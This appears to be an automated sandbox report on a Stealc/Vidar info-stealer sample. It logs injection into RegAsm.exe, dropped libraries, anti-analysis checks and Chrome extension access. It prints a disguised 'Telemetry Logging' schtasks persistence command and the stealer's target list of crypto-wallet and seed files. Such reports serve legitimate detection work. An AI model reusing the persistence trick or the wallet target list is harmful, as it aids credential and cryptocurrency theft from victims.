Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: oobeldr.exe.5.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.5.dr	Static PE information: section name: .MPRESS2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A9F5 push ecx; ret	2_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C96B536 push ecx; ret	2_2_6C96B549
Source: C:\ProgramData\JKJDAEBFCB.exe	Code function: 5_2_006D50A5 push ebp; ret	5_2_00721C57

Source: file.exe

Static PE information: section name: .text entropy: 7.991609897731611

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\JKJDAEBFCB.exe	Jump to dropped file
Source: C:\ProgramData\JKJDAEBFCB.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\JKJDAEBFCB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\ProgramData\JKJDAEBFCB.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-75179

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\JKJDAEBFCB.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\ProgramData\JKJDAEBFCB.exe	API/Special instruction interceptor: Address: 761C29
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 761C29

Source: C:\Users\user\Desktop\file.exe	Memory allocated: CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2600000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 5058			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 4937			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.9 %

Source: C:\Users\user\Desktop\file.exe TID: 7716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 8056	Thread sleep count: 5058 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 8056	Thread sleep time: -1138050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 8056	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 8056	Thread sleep time: -1110825s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-76342
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75207
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75007

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00404610 VirtualProtect ?,00000004,00000100,00000000

2_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419160 mov eax, dword ptr fs:[00000030h]

2_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C8D9 SetUnhandledExceptionFilter,	2_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C96B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C96B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C96B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C96B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CB1AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0279241D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_0279241D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B46008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JKJDAEBFCB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\JKJDAEBFCB.exe "C:\ProgramData\JKJDAEBFCB.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C96B341 cpuid

2_2_6C96B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

2_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_004174D0

Source: file.exe, 00000000.00000002.1689287561.0000000000987000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: file.exe, 00000000.00000002.1689287561.0000000000987000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 5.2.JKJDAEBFCB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 